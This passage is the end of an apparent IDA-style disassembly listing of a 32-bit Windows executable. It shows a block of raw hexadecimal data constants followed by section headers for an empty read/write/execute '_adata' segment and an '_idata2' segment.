dd 6834C15Bh, 61F3B61Bh, 1237D139h, 0E0179C31h, 5DCA4289h
dd 7D28A5F9h, 9D026750h, 9D073D09h, 0D6BF18A6h, 0D1B3F528h
dd 0E3F75143h, 27909A2Ah, 72772A13h, 453489C6h, 0C9421BDFh
dd 62CE648Fh, 66799409h, 31E0AEAh, 62DDE248h, 8CEEE725h
dd 0AED7618Bh, 0A731958Fh, 1E1106DBh, 6F9FBFAFh, 3EA33155h
dd 74E96D81h, 0FED4D52Ch, 8F8383C1h, 2F5DEDC8h, 7EECA954h
dd 0C54A42E9h, 5B9D76AAh, 0F5637BE0h, 0DB77E94Dh, 21298CD5h
dd 60C53D64h, 8A616621h, 0D7D4FE59h, 0E12FF9B1h, 72138486h
dd 9DC19485h, 21C6A1F5h, 258E7F30h, 0E450B933h, 0C71DF572h
dd 0F6FC1E28h, 886270E1h, 0B36BB70Ch, 0B7AB33A2h, 607E0866h
dd 591B372Ah, 0B7E2741Bh, 63B15E1Bh, 521EE58Ch, 0C2EDF92Ah
dd 0D337B4C8h, 38F2A118h, 0E9E7E5CAh, 14854B5h, 265EB9C9h
dd 4C21F1FEh, 95938896h, 8D3CFE40h, 382CF10Eh, 8B4CBC4Dh
dd 44F05797h, 52F388CBh, 31CAAAB3h, 0E7539887h, 9C5C8D9Bh
dd 0D81FFCDCh, 0FE23BBF2h, 8D51F52Ch, 262BCC83h, 79629B65h
dd 8E523C10h, 0E12CE9Fh, 7C1DCC34h, 8BC983BBh, 0F517314Eh
dd 927F5422h, 7DCB0A87h, 95376783h, 0A74339DAh, 0B0FA3B7h
dd 7B1C763Bh, 7DD339A0h, 0A12B44BFh, 5F377121h, 6AAD29E2h
dd 0B87EDB27h, 9B123ED2h, 9DDABCC3h, 13470DD2h, 7B3BD44Dh
dd 39A1BDA7h, 2EBD7B9Eh, 414D9418h, 0EAA6FA58h, 3A53BB7Ch
dd 0FBEE4F3Bh, 0F12D655Fh, 485F258Dh, 0A7E4392Ch, 0AC3D3396h
dd 89CC0DECh, 267FDB22h, 9C3F71Eh, 0CBA4291Ah, 0FB01AB88h
dd 97050A2Ch, 8E802536h, 0FDC1EE85h, 2F2A76Dh, 5B42A992h
dd 43400CC3h, 2B3CA9E0h, 479A5D3Bh, 125378FBh, 3F26C473h
dd 0B73D986Dh, 9A28CCE6h, 6C87A3BDh, 0D5CBE53Ch, 0A9D9C392h
dd 1E764CA7h, 57D579D0h, 0C2AA3055h, 0E285ADD3h, 767A37EAh
dd 304D1BBAh, 618E451Ch, 4B8201B8h, 0FEB49E42h, 0F47F2983h
dd 0D3065211h, 5240C3h, 0F09CF852h, 72F677A2h, 3CD1C1BAh
dd 87237B5Eh, 9B17D0C3h, 73A2B9F0h, 0E255EAA0h, 0FE41F6CAh
dd 93E27536h, 0F1493496h, 6F05C233h, 4B89E313h, 0DC07AE29h
dd 49F66EFAh, 13D88CC0h, 47D40BFAh, 214766F3h, 626FDFB8h
dd 0B9BA8764h, 0F56A7EEBh, 0DB8F5CB1h, 0E49AA186h, 3CF59FF3h
dd 0B1704AE9h, 280h dup(0)
_data ends
; Section 5. (virtual address 000FC000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000FC000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 4FC000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 400h dup(0)
_adata ends
; Section 6. (virtual address 000FD000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000FD000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4FD000h
align 2000h
_idata2 ends
end start